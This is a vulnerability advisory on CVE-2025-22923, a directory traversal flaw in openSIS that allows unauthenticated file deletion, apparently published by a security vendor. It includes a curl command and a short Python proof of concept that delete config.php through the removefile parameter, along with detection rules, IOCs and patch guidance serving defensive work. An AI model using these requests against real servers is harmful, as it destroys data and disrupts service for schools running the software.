CVE-2025-22923
Executive Summary
CVE-2025-22923 is a critical directory traversal vulnerability affecting OS4ED openSIS versions 8.0 through 9.1. An unauthenticated attacker can exploit this flaw by sending a crafted POST request to the /Modules.php?modname=users/Staff.php&removefile endpoint, allowing arbitrary file deletion on the server. This can lead to denial of service, data loss, or potential privilege escalation if critical system files are removed. The vulnerability is publicly known with proof-of-concept code available, but no official patch has been released by the vendor. Immediate mitigation measures are required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated, remote, file deletion), a reasonable assessment is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): None (N)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Score: 9.1 (Critical)
The threat level is Critical due to the ease of exploitation, lack of authentication, and potential for severe impact on system integrity and availability.
Deep Dive & Mechanics
The vulnerability resides in the Modules.php script, specifically within the users/Staff.php module's file removal functionality. The application fails to properly sanitize user-supplied input passed via the removefile parameter. An attacker can inject path traversal sequences (e.g., ../) to navigate outside the intended directory and delete arbitrary files.
Root Cause: The application does not validate or sanitize the removefile parameter before using it in a file deletion operation (likely unlink() or similar). This allows an attacker to specify any file path on the server.
Attack Flow:
- The attacker sends a POST request to
/Modules.php?modname=users/Staff.php&removefile. - The
removefileparameter contains a path traversal payload, e.g.,../../../../etc/passwd. - The application processes the request and deletes the specified file.
- The attacker can delete critical system files, configuration files, or application data.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
$file = $_POST['removefile'];
unlink($file); // No sanitization
?>
Patched Code (Conceptual):
<?php
$file = basename($_POST['removefile']); // Strip path components
$allowed_dir = '/var/www/html/uploads/';
$file_path = $allowed_dir . $file;
if (strpos(realpath($file_path), $allowed_dir) === 0) {
unlink($file_path);
} else {
// Invalid file
}
?>
The patched version uses basename() to remove directory components and validates that the resolved path is within an allowed directory.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running openSIS v8.0 to v9.1
- Network access to the web interface
Exploit Steps:
- Identify the target openSIS instance.
- Send a crafted POST request to delete a critical file, e.g.,
config.php:curl -X POST "http://target/Modules.php?modname=users/Staff.php&removefile" \ -d "removefile=../../config.php" - Verify deletion by attempting to access the application.
Proof-of-Concept (Python):
import requests
target = "http://target/Modules.php?modname=users/Staff.php&removefile"
payload = {"removefile": "../../config.php"}
response = requests.post(target, data=payload)
print(f"Status: {response.status_code}")
Blue Team (Detection & Mitigation)
Detection:
- Monitor web server logs for POST requests to
/Modules.phpwithmodname=users/Staff.phpandremovefileparameter containing path traversal patterns (e.g.,../,..\\). - Alert on any file deletion operations outside the application's intended directories.
Mitigation:
- Apply input validation and sanitization to the
removefileparameter. - Restrict web server permissions to prevent deletion of critical system files.
- Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
- If possible, disable the file removal functionality until a patch is available.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/Modules.php?modname=users/Staff.php&removefilewith path traversal sequences. - Unusual HTTP 200 responses to file deletion requests.
- POST requests to
- File System:
- Unexpected deletion of files such as
config.php,.htaccess,index.php, or system files. - Missing application configuration files.
- Unexpected deletion of files such as
- Logs:
- Web server access logs showing
removefile=../../patterns. - Application error logs indicating failed file operations.
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_22923_Directory_Traversal {
meta:
description = "Detects directory traversal attempts targeting openSIS CVE-2025-22923"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22923"
strings:
$traversal1 = "removefile=.." ascii nocase
$traversal2 = "removefile=%2e%2e" ascii nocase
$endpoint = "Modules.php?modname=users/Staff.php" ascii nocase
condition:
$endpoint and any of ($traversal*)
}
Sigma Rule
title: CVE-2025-22923 - openSIS Directory Traversal File Deletion
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to openSIS with path traversal in removefile parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'Modules.php?modname=users/Staff.php&removefile'
cs-uri-query|contains: '..'
condition: selection
falsepositives:
- Legitimate file removal within allowed directories (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22923 - openSIS Directory Traversal File Deletion"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"Modules.php?modname=users/Staff.php&removefile"; http.client_body; content:".."; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the file removal functionality by removing or commenting out the relevant code in
Modules.phpandusers/Staff.php. - Input Validation: Implement strict input validation for the
removefileparameter. Usebasename()andrealpath()to ensure the file is within an allowed directory. - Web Server Hardening: Configure the web server to run with minimal privileges, preventing deletion of system files.
- WAF Rules: Deploy WAF rules to block requests containing path traversal patterns in the
removefileparameter. - Monitor: Continuously monitor logs for exploitation attempts.
- Patch: Await an official patch from OS4ED. If unavailable, consider migrating to a different student information system.
Valters IT - Securing Digital Frontiers